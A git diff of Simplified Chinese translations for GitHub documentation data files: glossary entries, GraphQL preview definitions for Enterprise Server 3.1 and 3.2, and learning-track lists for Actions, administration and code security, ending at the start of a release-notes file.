一种存储库,用于保存另一个存储库中单独项目的历史记录(后者被称为上级项目)。 +- term: 子项目 + description: >- + 在主项目之外的某个位置开发和管理的项目。 +- term: 子版本 + description: 一个开源版本控制系统。 +- term: sudo 模式 + description: >- + 允许用户使用其他用户的安全权限运行程序的方法。用户仍提供其自己的密码,并且经过身份验证。 +- term: 上级项目 + description: >- + 将工作树中其他项目的存储库作为子模块引用的存储库。上级项目知道所包含的子模块中提交项目的名称,但不保存这些提交项目的副本。 +- term: 支持包 + description: >- + 一种 gzip 压缩的 tar 存档,包含来自 GitHub Enterprise 实例的重要日志。 +- term: 滑动 + description: 一种并排查看 GitHub 图像部分的方法。 +- term: 符号链接 + description: >- + 一种文件,它包含对另一个文件或目录的引用,以绝对或相对路径的形式表示引用,并且影响路径名解析。 +- term: 符号引用 + description: >- + 符号引用:它不包含 SHA-1 id 本身,而是包含格式 ref: refs/some/thing,在引用时,它以递归方式取消引用此引用。 +- term: 标记 + description: >- + 在 refs/tags/ 命名空间下的 ref,可指向任意类型的对象(通常指向标记或提交对象)。标记最常用于标记提交前身链中的特定点。 +- term: 标记对象 + description: >- + 一个对象,它包含指向另一个对象的 ref,后者可以像提交对象一样包含消息。它还可以包含 (PGP) 签名,在这种情况下,它称为“已签名标记对象”。 +- term: Team Foundation Server + description: >- + 一种 Microsoft 产品的旧名称,该产品提供源代码管理和其他团队服务。现在称为 Azure DevOps Server。 +- term: Textile + description: >- + 一种轻量级标记语言,使用文本格式化语法将纯文本转换为结构化 HTML 标记。 +- term: TLS + description: 传输层安全性。 +- term: 令牌 + description: >- + 可用于替代密码。令牌可以是个人访问令牌、OAuth 标记或 API 令牌。 +- term: TopoJSON + description: 用于对拓扑进行编码的 GeoJSON 扩展。 +- term: TOTP 应用程序 + description: >- + 基于时间的一次性密码。此类应用程序可自动生成在特定时间后变化的验证码。 +- term: 树 + description: >- + 工作树或树对象以及依赖的 blob 和树对象(即存储的工作树表示法)。 +- term: 树对象 + description: >- + 包含文件名和模式列表以及相关 blob 和/或树对象的对象。树等同于目录。 +- term: TSV + description: 用制表符分隔的文件。 +- term: 双因素身份验证 + description: >- + 也称为 2FA。额外的安全层,不仅需要使用用户名和密码执行标准登录程序,还需要提供用户智能手机上的应用程序所生成的验证码或以短信 (SMS) 形式发送的验证码。 +- term: UFW + description: Ubuntu 的默认防火墙配置工具。 +- term: 未合并索引 + description: 包含未合并索引项的索引。 +- term: 未排序列表 + description: 项目符号列表。 +- term: 不可访问对象 + description: '无法从分支、标记或任何其他引用进行访问的对象。' +- term: URI + description: >- + 统一资源标识符。用于标识资源的字符串。 +- term: UTF-8 + description: 能够编码所有可能的 Unicode 代码点的字符编码。 +- term: 可变 + description: '在 GraphQL 中,一种让查询更具动态性、更强大的方法。' +- term: 增值税 ID + description: 欧盟用于税收目的的增值税识别号。 +- term: 经验证电子邮件地址 + description: >- + 用户已通过安全确认流程验证为有效的与个人帐户绑定的电子邮件地址。 +- term: 虚拟机 + description: >- + 安装在软件上模拟专用硬件的应用程序环境。也称为 VM。 +- term: VPC + description: 虚拟私有云。专用于 AWS 帐户的虚拟网络。 +- term: VPN + description: 虚拟专用网络。 +- term: VMware + description: >- + 提供云计算和平台虚拟化软件与服务的 Dell 产品。 +- term: 加入允许列表 + description: >- + 为其提供特别权限、服务、移动性、访问或认可的实体列表或注册表。列表中的实体将被接受、批准和/或认可。 +- term: 工作目录 + description: 当前正在使用的文件目录。 +- term: 工作树 + description: >- + 实际签出的文件的树。工作树通常包含 HEAD 提交树的内容,以及已做出但尚未提交的任何本地更改。 +- term: WYSIWYG/所见即所得 + description: >- + 所见即所得。一个首字母缩略词,表示你在屏幕上看到的文本与其渲染后的内容完全一样。 +- term: XenServer + description: 一个虚拟化平台。 +- term: YAML + description: >- + 一种人类可读的数据序列化语言,通常用于配置文件。 +- term: 持续集成 + description: 也缩写为 CI +- term: 持续交付 + description: 也缩写为 CD diff --git a/translations/zh-CN/data/graphql/ghes-3.1/graphql_previews.enterprise.yml b/translations/zh-CN/data/graphql/ghes-3.1/graphql_previews.enterprise.yml new file mode 100644 index 0000000000..90699650bb --- /dev/null +++ b/translations/zh-CN/data/graphql/ghes-3.1/graphql_previews.enterprise.yml @@ -0,0 +1,117 @@ +- title: 使用包版本删除 + description: 此预览支持允许删除私有包版本 DeletePackageVersion 突变。 + toggled_by: ':package-deletes-preview' + announcement: null + updates: null + toggled_on: + - Mutation.deletePackageVersion + owning_teams: + - '@github/pe-package-registry' +- title: 部署 + description: 此预览支持部署突变和新部署功能。 + toggled_by: ':flash-preview' + announcement: null + updates: null + toggled_on: + - DeploymentStatus.environment + - Mutation.createDeploymentStatus + - CreateDeploymentStatusInput + - CreateDeploymentStatusPayload + - Mutation.createDeployment + - CreateDeploymentInput + - CreateDeploymentPayload + owning_teams: + - '@github/ecosystem-api' +- title: MergeInfoPreview - 有关拉取请求合并状态的更多详细信息。 + description: 此预览支持访问提供有关拉取请求合并状态的更多详细信息的字段。 + toggled_by: ':merge-info-preview' + announcement: null + updates: null + toggled_on: + - PullRequest.canBeRebased + - PullRequest.mergeStateStatus + owning_teams: + - '@github/pe-pull-requests' +- title: UpdateRefsPreview - 在单个操作中更新多个 ref。 + description: 此预览支持在单个操作中更新多个 ref。 + toggled_by: ':update-refs-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateRefs + - GitRefname + - RefUpdate + - UpdateRefsInput + - UpdateRefsPayload + owning_teams: + - '@github/reponauts' +- title: 项目事件详细信息 + description: 此预览将项目、项目卡和项目列详细信息添加到与项目相关的议题事件。 + toggled_by: ':starfox-preview' + announcement: null + updates: null + toggled_on: + - AddedToProjectEvent.project + - AddedToProjectEvent.projectCard + - AddedToProjectEvent.projectColumnName + - ConvertedNoteToIssueEvent.project + - ConvertedNoteToIssueEvent.projectCard + - ConvertedNoteToIssueEvent.projectColumnName + - MovedColumnsInProjectEvent.project + - MovedColumnsInProjectEvent.projectCard + - MovedColumnsInProjectEvent.projectColumnName + - MovedColumnsInProjectEvent.previousProjectColumnName + - RemovedFromProjectEvent.project + - RemovedFromProjectEvent.projectColumnName + owning_teams: + - '@github/github-projects' +- title: 创建内容附件 + description: 此预览支持创建内容附件。 + toggled_by: ':corsair-preview' + announcement: null + updates: null + toggled_on: + - Mutation.createContentAttachment + owning_teams: + - '@github/feature-lifecycle' +- title: 标签预览 + description: 此预览支持添加、更新、创建和删除标签。 + toggled_by: ':bane-preview' + announcement: null + updates: null + toggled_on: + - Mutation.createLabel + - CreateLabelPayload + - CreateLabelInput + - Mutation.deleteLabel + - DeleteLabelPayload + - DeleteLabelInput + - Mutation.updateLabel + - UpdateLabelPayload + - UpdateLabelInput + owning_teams: + - '@github/pe-pull-requests' +- title: 导入项目 + description: 此预览增加了对导入项目的支持。 + toggled_by: ':slothette-preview' + announcement: null + updates: null + toggled_on: + - Mutation.importProject + owning_teams: + - '@github/pe-issues-projects' +- title: 团队审查任务预览 + description: 此预览支持更新团队审查任务的设置。 + toggled_by: ':stone-crop-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateTeamReviewAssignment + - UpdateTeamReviewAssignmentInput + - TeamReviewAssignmentAlgorithm + - Team.reviewRequestDelegationEnabled + - Team.reviewRequestDelegationAlgorithm + - Team.reviewRequestDelegationMemberCount + - Team.reviewRequestDelegationNotifyTeam + owning_teams: + - '@github/pe-pull-requests' \ No newline at end of file diff --git a/translations/zh-CN/data/graphql/ghes-3.2/graphql_previews.enterprise.yml b/translations/zh-CN/data/graphql/ghes-3.2/graphql_previews.enterprise.yml new file mode 100644 index 0000000000..051a7af5e2 --- /dev/null +++ b/translations/zh-CN/data/graphql/ghes-3.2/graphql_previews.enterprise.yml @@ -0,0 +1,117 @@ +- title: 使用包版本删除 + description: 此预览支持允许删除私有包版本 DeletePackageVersion 突变。 + toggled_by: ':package-deletes-preview' + announcement: null + updates: null + toggled_on: + - Mutation.deletePackageVersion + owning_teams: + - '@github/pe-package-registry' +- title: 部署 + description: 此预览支持部署突变和新部署功能。 + toggled_by: ':flash-preview' + announcement: null + updates: null + toggled_on: + - DeploymentStatus.environment + - Mutation.createDeploymentStatus + - CreateDeploymentStatusInput + - CreateDeploymentStatusPayload + - Mutation.createDeployment + - CreateDeploymentInput + - CreateDeploymentPayload + owning_teams: + - '@github/c2c-actions-service' +- title: MergeInfoPreview - 有关拉取请求合并状态的更多详细信息。 + description: 此预览支持访问提供有关拉取请求合并状态的更多详细信息的字段。 + toggled_by: ':merge-info-preview' + announcement: null + updates: null + toggled_on: + - PullRequest.canBeRebased + - PullRequest.mergeStateStatus + owning_teams: + - '@github/pe-pull-requests' +- title: UpdateRefsPreview - 在单个操作中更新多个 ref。 + description: 此预览支持在单个操作中更新多个 ref。 + toggled_by: ':update-refs-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateRefs + - GitRefname + - RefUpdate + - UpdateRefsInput + - UpdateRefsPayload + owning_teams: + - '@github/reponauts' +- title: 项目事件详细信息 + description: 此预览将项目、项目卡和项目列详细信息添加到与项目相关的议题事件。 + toggled_by: ':starfox-preview' + announcement: null + updates: null + toggled_on: + - AddedToProjectEvent.project + - AddedToProjectEvent.projectCard + - AddedToProjectEvent.projectColumnName + - ConvertedNoteToIssueEvent.project + - ConvertedNoteToIssueEvent.projectCard + - ConvertedNoteToIssueEvent.projectColumnName + - MovedColumnsInProjectEvent.project + - MovedColumnsInProjectEvent.projectCard + - MovedColumnsInProjectEvent.projectColumnName + - MovedColumnsInProjectEvent.previousProjectColumnName + - RemovedFromProjectEvent.project + - RemovedFromProjectEvent.projectColumnName + owning_teams: + - '@github/github-projects' +- title: 创建内容附件 + description: 此预览支持创建内容附件。 + toggled_by: ':corsair-preview' + announcement: null + updates: null + toggled_on: + - Mutation.createContentAttachment + owning_teams: + - '@github/feature-lifecycle' +- title: 标签预览 + description: 此预览支持添加、更新、创建和删除标签。 + toggled_by: ':bane-preview' + announcement: null + updates: null + toggled_on: + - Mutation.createLabel + - CreateLabelPayload + - CreateLabelInput + - Mutation.deleteLabel + - DeleteLabelPayload + - DeleteLabelInput + - Mutation.updateLabel + - UpdateLabelPayload + - UpdateLabelInput + owning_teams: + - '@github/pe-pull-requests' +- title: 导入项目 + description: 此预览增加了对导入项目的支持。 + toggled_by: ':slothette-preview' + announcement: null + updates: null + toggled_on: + - Mutation.importProject + owning_teams: + - '@github/pe-issues-projects' +- title: 团队审查任务预览 + description: 此预览支持更新团队审查任务的设置。 + toggled_by: ':stone-crop-preview' + announcement: null + updates: null + toggled_on: + - Mutation.updateTeamReviewAssignment + - UpdateTeamReviewAssignmentInput + - TeamReviewAssignmentAlgorithm + - Team.reviewRequestDelegationEnabled + - Team.reviewRequestDelegationAlgorithm + - Team.reviewRequestDelegationMemberCount + - Team.reviewRequestDelegationNotifyTeam + owning_teams: + - '@github/pe-pull-requests' \ No newline at end of file diff --git a/translations/zh-CN/data/learning-tracks/actions.yml b/translations/zh-CN/data/learning-tracks/actions.yml index 8e6d54e871..a22ad998cd 100644 --- a/translations/zh-CN/data/learning-tracks/actions.yml +++ b/translations/zh-CN/data/learning-tracks/actions.yml @@ -1,6 +1,6 @@ getting_started: - title: 'Get started with {% data variables.product.prodname_actions %}' - description: 'Discover the possibilities of {% data variables.product.prodname_actions %} by creating your first workflow.' + title: '{% data variables.product.prodname_actions %} 入门' + description: '通过创建第一个工作流来发现 {% data variables.product.prodname_actions %} 的可能性。' guides: - /actions/learn-github-actions/introduction-to-github-actions - /actions/learn-github-actions/finding-and-customizing-actions @@ -9,9 +9,36 @@ getting_started: - /actions/learn-github-actions/reusing-workflows - /actions/security-guides/security-hardening-for-github-actions featured_track: true +continuous_integration: + title: '生成和测试代码' + description: '可以在存储库中创建自定义持续集成 (CI) 工作流。' + guides: + - /actions/automating-builds-and-tests/about-continuous-integration + - /actions/automating-builds-and-tests/building-and-testing-powershell + - /actions/automating-builds-and-tests/building-and-testing-ruby + - /actions/automating-builds-and-tests/building-and-testing-java-with-maven + - /actions/automating-builds-and-tests/building-and-testing-java-with-gradle + - /actions/automating-builds-and-tests/building-and-testing-java-with-ant + - /actions/automating-builds-and-tests/building-and-testing-swift +continuous_deployment: + title: '自动部署' + description: '了解如何使用 {% data variables.product.prodname_actions %} 中的自定义持续部署 (CD) 工作流自动发布项目。' + guides: + - /actions/publishing-packages/about-packaging-with-github-actions + - /actions/publishing-packages/publishing-nodejs-packages + - /actions/publishing-packages/publishing-java-packages-with-maven + - /actions/publishing-packages/publishing-java-packages-with-gradle + - /actions/publishing-packages/publishing-docker-images +deploy_to_the_cloud: + title: '部署到云端' + description: '了解如何使用 {% data variables.product.prodname_actions %} 生成应用程序并将其部署到各种基于云的平台。' + guides: + - /actions/deployment/deploying-to-amazon-elastic-container-service + - /actions/deployment/deploying-to-azure-app-service + - /actions/deployment/deploying-to-google-kubernetes-engine adopting_github_actions_for_your_enterprise_ghec: - title: 'Adopt GitHub Actions for your enterprise' - description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + title: '为企业采用 GitHub Actions' + description: '了解如何在企业中计划和实现 {% data variables.product.prodname_actions %} 的推出。' versions: ghec: '*' guides: @@ -23,8 +50,8 @@ adopting_github_actions_for_your_enterprise_ghec: - /actions/security-guides/security-hardening-for-github-actions - /billing/managing-billing-for-github-actions/about-billing-for-github-actions adopting_github_actions_for_your_enterprise_ghes_and_ghae: - title: 'Adopt GitHub Actions for your enterprise' - description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + title: '为企业采用 GitHub Actions' + description: '了解如何在企业中计划和实现 {% data variables.product.prodname_actions %} 的推出。' versions: ghes: '*' ghae: '*' @@ -39,8 +66,8 @@ adopting_github_actions_for_your_enterprise_ghes_and_ghae: - /actions/security-guides/security-hardening-for-github-actions - /billing/managing-billing-for-github-actions/about-billing-for-github-actions hosting_your_own_runners: - title: 'Host your own runners' - description: 'You can create self-hosted runners to run workflows in a highly customizable environment.' + title: '托管自己的运行器' + description: '可以创建自托管运行器,以便在高度可自定义的环境中运行工作流。' guides: - /actions/hosting-your-own-runners/about-self-hosted-runners - /actions/hosting-your-own-runners/adding-self-hosted-runners @@ -51,8 +78,8 @@ hosting_your_own_runners: - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups - /actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners create_actions: - title: 'Create an action' - description: 'Do you have an idea for a new action? Have you built something custom for your project? Learn how to build shareable actions and publish them to GitHub Marketplace.' + title: '创建操作' + description: '是否对新操作有想法?是否为项目生成了自定义内容?了解如何构建可共享操作并将其发布到 GitHub 市场。' guides: - /actions/creating-actions/about-custom-actions - /actions/creating-actions/creating-a-docker-container-action diff --git a/translations/zh-CN/data/learning-tracks/admin.yml b/translations/zh-CN/data/learning-tracks/admin.yml index 9f45bbaca7..b22fecb9ac 100644 --- a/translations/zh-CN/data/learning-tracks/admin.yml +++ b/translations/zh-CN/data/learning-tracks/admin.yml @@ -1,6 +1,6 @@ get_started_with_github_ae: - title: 'Get started with {% data variables.product.prodname_ghe_managed %}' - description: 'Learn about {% data variables.product.prodname_ghe_managed %} and complete the initial configuration of a new enterprise.' + title: '{% data variables.product.prodname_ghe_managed %} 入门' + description: '了解 {% data variables.product.prodname_ghe_managed %} 并完成新企业的初始配置。' featured_track: true versions: ghae: '*' @@ -9,12 +9,12 @@ get_started_with_github_ae: - /admin/overview/about-data-residency - /admin/configuration/configuring-your-enterprise/deploying-github-ae - /admin/configuration/initializing-github-ae - - /admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list + - /admin/configuration/restricting-network-traffic-to-your-enterprise - /admin/github-actions/getting-started-with-github-actions-for-github-ae deploy_an_instance: - title: 'Deploy an instance' - description: 'Install {% data variables.product.prodname_ghe_server %} on your platform of choice and configure SAML authentication.' + title: '部署实例' + description: '在你选择的平台上安装 {% data variables.product.prodname_ghe_server %} 并配置 SAML 身份验证。' featured_track: true versions: ghes: '*' @@ -27,8 +27,8 @@ deploy_an_instance: - /admin/configuration/site-admin-dashboard upgrade_your_instance: - title: 'Upgrade your instance' - description: 'Test upgrades in staging, notify users of maintenance, and upgrade your instance for the latest features and security updates.' + title: '升级实例' + description: '分阶段测试升级,通知用户维护,并升级实例以获取最新功能和安全更新。' versions: ghes: '*' guides: @@ -40,8 +40,8 @@ upgrade_your_instance: - /admin/enterprise-management/upgrading-github-enterprise-server adopting_github_actions_for_your_enterprise_ghec: - title: 'Adopt GitHub Actions for your enterprise' - description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + title: '为企业采用 GitHub Actions' + description: '了解如何在企业中计划和实现 {% data variables.product.prodname_actions %} 的推出。' versions: ghec: '*' guides: @@ -54,8 +54,8 @@ adopting_github_actions_for_your_enterprise_ghec: - /billing/managing-billing-for-github-actions/about-billing-for-github-actions adopting_github_actions_for_your_enterprise_ghes_and_ghae: - title: 'Adopt GitHub Actions for your enterprise' - description: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} in your enterprise.' + title: '为企业采用 GitHub Actions' + description: '了解如何在企业中计划和实现 {% data variables.product.prodname_actions %} 的推出。' versions: ghes: '*' ghae: '*' @@ -71,8 +71,8 @@ adopting_github_actions_for_your_enterprise_ghes_and_ghae: - /billing/managing-billing-for-github-actions/about-billing-for-github-actions increase_fault_tolerance: - title: 'Increase the fault tolerance of your instance' - description: "Back up your developers' code and configure high availability (HA) to ensure the reliability of {% data variables.product.prodname_ghe_server %} in your environment." + title: '提高实例的容错能力' + description: "备份开发者代码并配置高可用性 (HA),以确保环境中 {% data variables.product.prodname_ghe_server %} 的可靠性。" versions: ghes: '*' guides: @@ -83,8 +83,8 @@ increase_fault_tolerance: - /admin/configuration/using-github-enterprise-server-with-a-load-balancer improve_security_of_your_instance: - title: 'Improve the security of your instance' - description: "Review network configuration and security features, and harden the instance running {% data variables.product.prodname_ghe_server %} to protect your enterprise's data." + title: '提高实例的安全性' + description: "查看网络配置和安全功能,并强化运行 {% data variables.product.prodname_ghe_server %} 的实例,以保护你的企业数据。" versions: ghes: '*' guides: @@ -99,8 +99,8 @@ improve_security_of_your_instance: - /admin/user-management/promoting-or-demoting-a-site-administrator configure_github_actions: - title: 'Configure {% data variables.product.prodname_actions %}' - description: 'Allow your developers to create, automate, customize, and execute powerful software development workflows for {% data variables.location.product_location %} with {% data variables.product.prodname_actions %}.' + title: '配置 {% data variables.product.prodname_actions %}' + description: '开发者可以使用 {% data variables.product.prodname_actions %} 为 {% data variables.product.product_location %} 创建、自动化、自定义和执行功能强大的软件开发工作流。' versions: ghes: '*' guides: @@ -112,8 +112,8 @@ configure_github_actions: - /admin/github-actions/using-a-staging-environment configure_github_advanced_security: - title: 'Configure {% data variables.product.prodname_GH_advanced_security %}' - description: "Improve the quality and security of your developers' code with {% data variables.product.prodname_GH_advanced_security %}." + title: '配置 {% data variables.product.prodname_GH_advanced_security %}' + description: "通过 {% data variables.product.prodname_GH_advanced_security %} 提高开发者代码的质量和安全性。" versions: ghes: '*' guides: @@ -125,8 +125,8 @@ configure_github_advanced_security: - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise get_started_with_your_enterprise_account: - title: 'Get started with your enterprise account' - description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.' + title: '开始使用企业帐户' + description: '开始使用企业帐户,在 {% data variables.product.product_name %} 上集中管理多个组织。' versions: ghes: '*' ghec: '*' diff --git a/translations/zh-CN/data/learning-tracks/code-security.yml b/translations/zh-CN/data/learning-tracks/code-security.yml index ae9e29ccb4..3f545dfa4c 100644 --- a/translations/zh-CN/data/learning-tracks/code-security.yml +++ b/translations/zh-CN/data/learning-tracks/code-security.yml @@ -1,32 +1,25 @@ # Feature available only on dotcom security_advisories: - title: 'Fix and disclose a security vulnerability' - description: 'Using repository security advisories to privately fix a reported vulnerability and get a CVE.' + title: '修复并披露安全漏洞' + description: '使用存储库安全建议私下修复报告的漏洞并获取 CVE。' featured_track: '{% ifversion fpt or ghec %}true{% else %}false{% endif %}' guides: - - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/security-advisories/global-security-advisories/about-the-github-advisory-database - - /code-security/security-advisories/global-security-advisories/about-global-security-advisories - - /code-security/security-advisories/repository-security-advisories/about-repository-security-advisories - - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories - - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability - - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities - - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository - - /code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability - - /code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory + - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/repository-security-advisories/creating-a-repository-security-advisory + - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory + - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability + - /code-security/repository-security-advisories/publishing-a-repository-security-advisory + - /code-security/repository-security-advisories/editing-a-repository-security-advisory + - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory + - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory # Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track dependabot_alerts: - title: 'Get notifications for insecure dependencies' - description: 'Set up Dependabot to alert you to new vulnerabilities{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} in your dependencies.' + title: '获取有关不安全依赖项的通知' + description: '设置 Dependabot 提醒你的依赖项中有新漏洞{% ifversion GH-advisory-db-supports-malware %}或恶意软件{% endif %}。' guides: - /code-security/dependabot/dependabot-alerts/about-dependabot-alerts - - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' - /code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts - /code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates @@ -35,20 +28,20 @@ dependabot_alerts: # Feature available on dotcom and GHES 3.3+, so articles available on GHAE and earlier GHES hidden to hide the learning track dependabot_security_updates: - title: 'Get pull requests to update your vulnerable dependencies' - description: 'Set up Dependabot to create pull requests when new vulnerabilities are reported.' + title: '获取拉取请求以更新你的漏洞依赖项' + description: '设置 Dependabot 以在报告新漏洞时创建拉取请求。' guides: - /code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates - /code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates - - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}' - - '{% ifversion fpt or ghec or ghes %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository{% endif %}' - /code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates - - '{% ifversion fpt or ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies{% endif %}' # Feature available only on dotcom and GHES 3.3+ dependency_version_updates: - title: 'Keep your dependencies up-to-date' - description: 'Use Dependabot to check for new releases and create pull requests to update your dependencies.' + title: '保持更新依赖项' + description: '使用 Dependabot 检查新版本并创建拉取请求来更新你的依赖项。' guides: - /code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates - /code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates @@ -63,8 +56,8 @@ dependency_version_updates: # Feature available in GHEC, GHES 3.0 up, and GHAE. Feature limited on FPT so hidden there. secret_scanning: - title: 'Scan for secrets' - description: 'Set up secret scanning to guard against accidental check-ins of tokens, passwords, and other secrets to your repository.' + title: '扫描机密' + description: '设置机密扫描以防意外检入令牌、密码和其他机密到你的存存储库。' guides: - '{% ifversion not fpt %}/code-security/secret-scanning/about-secret-scanning{% endif %}' - '{% ifversion not fpt %}/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories{% endif %}' @@ -76,20 +69,20 @@ secret_scanning: # Security overview feature available in GHEC and GHES 3.2+, so other articles hidden to hide the learning path in other versions security_alerts: - title: 'Explore and manage security alerts' - description: 'Learn where to find and resolve security alerts.' + title: '探索和管理安全警报' + description: '了解在哪里可以查找和解决安全警报。' guides: - - '{% ifversion ghec or ghes %}/code-security/security-overview/about-the-security-overview {% endif %}' - - '{% ifversion ghec or ghes %}/code-security/security-overview/viewing-the-security-overview {% endif %}' - - '{% ifversion ghec or ghes %}/code-security/secret-scanning/managing-alerts-from-secret-scanning {% endif %}' - - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository{% endif %}' - - '{% ifversion ghec or ghes %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests{% endif %}' - - '{% ifversion ghec or ghes %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository{% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/security-overview/about-the-security-overview {% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/security-overview/viewing-the-security-overview {% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/secret-scanning/managing-alerts-from-secret-scanning {% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository{% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests{% endif %}' + - '{% ifversion ghec or ghes > 3.1 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository{% endif %}' # Feature available in all versions from GHES 2.22 up code_security_actions: - title: 'Run code scanning with GitHub Actions' - description: 'Check your default branch and every pull request to keep vulnerabilities and errors out of your repository.' + title: '使用 GitHub Actions 运行代码扫描' + description: '检查默认分支和每个拉取请求,以排除存储库中的漏洞和错误。' featured_track: '{% ifversion ghae or ghes %}true{% else %}false{% endif %}' guides: - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning @@ -101,8 +94,8 @@ code_security_actions: # Feature available in all versions from GHES 2.22 up code_security_integration: - title: 'Integrate with code scanning' - description: 'Upload code analysis results from third-party systems to GitHub using SARIF.' + title: '与代码扫描集成' + description: '使用 SARIF 将分析结果从第三方系统上传到 GitHub。' guides: - /code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning - /code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github @@ -111,8 +104,8 @@ code_security_integration: # Feature available in all versions from GHES 2.22 up code_security_ci: - title: 'Run CodeQL code scanning in your CI' - description: 'Set up CodeQL within your existing CI and upload results to GitHub code scanning.' + title: '在 CI 中运行 CodeQL 代码扫描' + description: '在现有的 CI 中设置 CodeQL 并将结果上传到 GitHub 代码扫描。' guides: - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system @@ -122,8 +115,8 @@ code_security_ci: # Feature available in all versions end_to_end_supply_chain: - title: 'End-to-end supply chain' - description: 'How to think about securing your user accounts, your code, and your build process.' + title: '端到端供应链' + description: '如何考虑保护用户帐户、代码和生成流程。' guides: - /code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview - /code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-20/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-20/0.yml new file mode 100644 index 0000000000..3fd77690d3 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-20/0.yml @@ -0,0 +1,44 @@ +date: '2020-02-11' +sections: + features: + - 